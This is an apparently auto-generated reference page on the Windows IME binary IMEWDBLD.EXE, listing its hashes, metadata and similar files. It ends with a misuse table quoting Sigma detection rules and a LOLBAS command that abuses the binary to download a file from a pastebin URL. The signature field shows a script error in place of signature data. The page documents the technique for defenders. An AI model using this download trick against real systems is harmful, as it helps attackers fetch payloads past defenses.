IMEWDBLD.EXE

  • File Path: C:\windows\SysWOW64\IME\SHARED\IMEWDBLD.EXE
  • Description: Microsoft IME Open Extended Dictionary Module

Screenshot

IMEWDBLD.EXE

Hashes

Type Hash
MD5 8EDFF2D1145341D7B23D012B29910539
SHA1 5F5E3CE0CB5867A4DC9479E54C848A85C359CBD5
SHA256 8D02BEA0CFF00135CF8F752332A0724EB121330FE0C5B32099003CD178AA301C
SHA384 2CA335235B3B69CEF1310D79C140CF26C3E1520DB41744FAC997403C85E5B4461B651614627A6416E32E00D6C18FDD43
SHA512 E6F5E485C1A23AA3FCE6E4575D47CCD0408C2834DE297DFEE3C41BC644593CD83937D5661C0628F465166A29CB7E8CB66E2E49ACBDA83D646FFDC8512FFEE340
SSDEEP 6144:Kjjvu06N3PcGhmmcXe7z0asJrB1v49zNWdoJwFTFSR/OjFC7Gs/UEVTppZQ1ZDLG:Kjy0SoO3sJ954uoSoIC7Gs/rz

Signature

  • Status: The file C:\windows\SysWOW64\IME\SHARED\IMEWDBLD.EXE is not digitally signed. You cannot run this script on the current system. For more information about running scripts and setting execution policy, see about_Execution_Policies at http://go.microsoft.com/fwlink/?LinkID=135170
  • Serial: ``
  • Thumbprint: ``
  • Issuer:
  • Subject:

File Metadata

  • Original Filename: imewdbld.exe
  • Product Name: Microsoft IME 2012
  • Company Name: Microsoft Corporation
  • File Version: 15.0.9600.18514
  • Product Version: 15.0.9600.18514
  • Language: Language Neutral
  • Legal Copyright: Microsoft Corporation. All rights reserved.

File Similarity (ssdeep match)

File Score
C:\WINDOWS\system32\IME\SHARED\IMEWDBLD.EXE 27
C:\Windows\system32\IME\shared\IMEWDBLD.EXE 32
C:\WINDOWS\system32\IME\SHARED\IMEWDBLD.EXE 32
C:\Windows\system32\IME\SHARED\IMEWDBLD.EXE 29
C:\Windows\SysWOW64\IME\shared\IMEWDBLD.EXE 32
C:\WINDOWS\SysWOW64\IME\SHARED\IMEWDBLD.EXE 35
C:\Windows\SysWOW64\IME\SHARED\IMEWDBLD.EXE 33
C:\Windows\SysWOW64\IME\SHARED\IMEWDBLD.EXE 29
C:\WINDOWS\SysWOW64\IME\SHARED\IMEWDBLD.EXE 29

Possible Misuse

The following table contains possible examples of IMEWDBLD.EXE being misused. While IMEWDBLD.EXE is not inherently malicious, its legitimate functionality can be abused for malicious purposes.

Source Source File Example License
sigma net_connection_win_imewdbld.yml title: Download a File with IMEWDBLD.exe DRL 1.0
sigma net_connection_win_imewdbld.yml description: Use IMEWDBLD.exe (built-in to windows) to download a file DRL 1.0
sigma net_connection_win_imewdbld.yml Image\|endswith: '\IMEWDBLD.exe' DRL 1.0
LOLBAS IMEWDBLD.yml Name: IMEWDBLD.exe  
LOLBAS IMEWDBLD.yml - Command: C:\Windows\System32\IME\SHARED\IMEWDBLD.exe https://pastebin.com/raw/tdyShwLw  
LOLBAS IMEWDBLD.yml Description: IMEWDBLD.exe attempts to load a dictionary file, if provided a URL as an argument, it will download the file served at by that URL and save it to %LocalAppData%\Microsoft\Windows\INetCache\<8_RANDOM_ALNUM_CHARS>/<FILENAME>[1].<EXTENSION> or %LocalAppData%\Microsoft\Windows\INetCache\IE\<8_RANDOM_ALNUM_CHARS>/<FILENAME>[1].<EXTENSION>  
LOLBAS IMEWDBLD.yml - Path: C:\Windows\System32\IME\SHARED\IMEWDBLD.exe  
atomic-red-team index.md - Atomic Test #17: Download a file with IMEWDBLD.exe [windows] MIT License. © 2018 Red Canary
atomic-red-team windows-index.md - Atomic Test #17: Download a file with IMEWDBLD.exe [windows] MIT License. © 2018 Red Canary
atomic-red-team T1105.md - Atomic Test #17 - Download a file with IMEWDBLD.exe MIT License. © 2018 Red Canary
atomic-red-team T1105.md ## Atomic Test #17 - Download a file with IMEWDBLD.exe MIT License. © 2018 Red Canary
atomic-red-team T1105.md Use IMEWDBLD.exe (built-in to windows) to download a file. This will throw an error for an invalid dictionary file. MIT License. © 2018 Red Canary
atomic-red-team T1105.md $imewdbled = $env:SystemRoot + “\System32\IME\SHARED\IMEWDBLD.exe” MIT License. © 2018 Red Canary

MIT License. Copyright (c) 2020-2021 Strontic.